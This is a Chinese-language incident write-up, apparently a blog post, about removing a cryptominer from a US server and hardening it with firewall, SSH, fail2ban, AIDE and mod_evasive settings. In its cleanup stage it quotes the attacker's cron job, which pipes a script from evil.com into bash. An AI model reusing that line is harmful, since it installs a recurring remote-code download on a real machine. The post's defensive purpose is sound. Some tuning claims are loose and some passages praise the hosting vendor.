美国服务器被挖矿后的血泪教训:一次从内核级到应用层的安全加固实战

背景:凌晨3点的告警短信

客户一台位于美国洛杉矶的轻云互联独服,跑着一个跨境电商网站。当晚运维监控连续弹出CPU飙升至800%的告警,SSH端口大量异常连接。登录后发现 top 里多了个叫 kdevtmpfsi 的进程,典型的XMRig挖矿变种。更棘手的是,攻击者已经植入了多个后门脚本,清理后几分钟又复活。

第一阶段:止血与攻击溯源

1. 立即切断外部访问

使用iptables临时封锁所有入站流量,仅保留我的管理IP:

iptables -I INPUT 1 -s 我的IP/32 -j ACCEPT
iptables -I INPUT 2 -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT

然后执行 iptables -S 确认规则生效。注意:千万别忘记把自己IP放进去,否则下一秒你就得找客服带外管理卡重启——这里要赞一下轻云互联的IPMI功能,虽然这次没用到,但心里踏实。

2. 揪出挖矿进程的根源

使用 lsof -p PIDls -la /proc/PID/exe 定位二进制文件。发现挖矿程序藏在 /var/tmp/.systemd-private 隐藏目录下。更恶心的是一组cron任务:

crontab -l | grep -v '#'
# 输出:
*/5 * * * * /usr/bin/curl -fsSL http://evil.com/update.sh | bash
@reboot /bin/sh /root/.config/.watchdog.sh

直接清空crontab:crontab -r 并删除 /var/spool/cron/crontabs/root 文件。

第二阶段:从内核参数到SSH硬核加固

攻击者是通过爆破SSH弱口令进来的(root密码是简单的admin123)。所以核心思路是:让SSH彻底变成铜墙铁壁

1. 内核参数调优:限制SYN Flood和连接频率

编辑 /etc/sysctl.conf 追加:

# 反SYN Flood,降低攻击成功率
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_syn_retries = 2
net.ipv4.tcp_synack_retries = 2

# 限制同一IP的并发连接数
net.core.somaxconn = 1024
net.ipv4.tcp_max_syn_backlog = 2048

# 启用IP欺骗防护
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1

执行 sysctl -p 立即生效。这一步可以挡住低配的洪水攻击和端口扫描。

2. SSH配置硬刚:禁用root+密钥认证

编辑 /etc/ssh/sshd_config

Port 22222                 # 换非标准端口
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
MaxAuthTries 3              # 最大尝试次数
MaxSessions 2               # 单用户最大会话
ClientAliveInterval 300     # 空闲5分钟踢掉
ClientAliveCountMax 0       # 超时直接断
AllowUsers admin            # 仅允许特定用户

然后 systemctl restart sshd。注意:先确认你已经有密钥登陆的能力,否则你将被锁在门外——这是最经典的翻车操作,我吃过亏。

3. Fail2ban精准防御

安装fail2ban后,为SSH和Web服务编写自定义规则。重点不是用默认的sshd.conf,而是增加针对 webminphpmyadmin 的防护(攻击者会扫描这些路径):

# /etc/fail2ban/jail.local
[sshd]
enabled = true
port = 22222
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
bantime = 86400   # 封1天

[apache-auth]
enabled = true
port = http,https
filter = apache-auth
logpath = /var/log/apache2/error.log
maxretry = 5
bantime = 604800  # 封1周

比较隐蔽的配置:findtime = 600 配合 maxretry = 3 意思是在10分钟内尝试3次就封禁。更狠一点可以加上 recidive 监狱,累犯自动升级成永久封禁。

第三阶段:文件完整性校验与自动修复

挖矿程序会篡改系统和库文件。我用 aide 做初始快照,并配合cron每天对比:

# 初始化数据库(每次更新系统后要重建)
aideinit --database-only --config /etc/aide/aide.conf
mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz

# 每日检查,有改动发邮件
echo "0 3 * * * /usr/bin/aide --check --config /etc/aide/aide.conf | mail -s 'AIDE Report' admin@example.com" | crontab -

注意:/etc/aide.conf 要排除 /var/log/proc 等动态目录,否则每天被邮件轰炸。我的策略是监控 /bin/sbin/usr/bin/lib/etc 下的关键文件。

第四阶段:应用层与网络层纵深防御

1. 使用mod_evasive防CC攻击

针对Apache(客户用宝塔面板搭的LAMP):

# 安装mod_evasive(epel源)
yum install mod_evasive -y
# 编辑 /etc/httpd/conf.d/mod_evasive.conf
DOSPageInterval 2          # 同一URL请求间隔
DOSSiteInterval 2          # 同一Site请求间隔
DOSPageCount 2             # 触发阈值
DOSSiteCount 50            # 同一site总请求阈值
DOSBlockingPeriod 600      # 封锁600秒
DOSEmailNotify admin@example.com

注意:DOSWhitelist 要加上CDN节点IP段,否则误封合法流量。

2. 防火墙规则精细化

用iptables限制每个IP的SSH连接速率(配合端口22222):

iptables -A INPUT -p tcp --dport 22222 -m state --state NEW -m recent --set
iptables -A INPUT -p tcp --dport 22222 -m state --state NEW -m recent --update --seconds 60 --hitcount 3 -j DROP

这段规则表示每60秒内仅允许3个新连接,超出则直接丢弃。对暴力破解有奇效。

总结:加固永远在路上

这次事件后我发现:攻击者的弱点在于持久化手段受限,只要切断所有自启动通道(cron、systemd service、bashrc、.profile、LD_PRELOAD),并启用内核级防护,就能让99%的脚本小子放弃这台机器。轻云互联的美国服务器硬件本身可靠性不错(故障期间CPU和内存从未异常重启),但安全层面还是要靠运维自己补全。以上配置经过生产验证,至今半年没再被攻破过。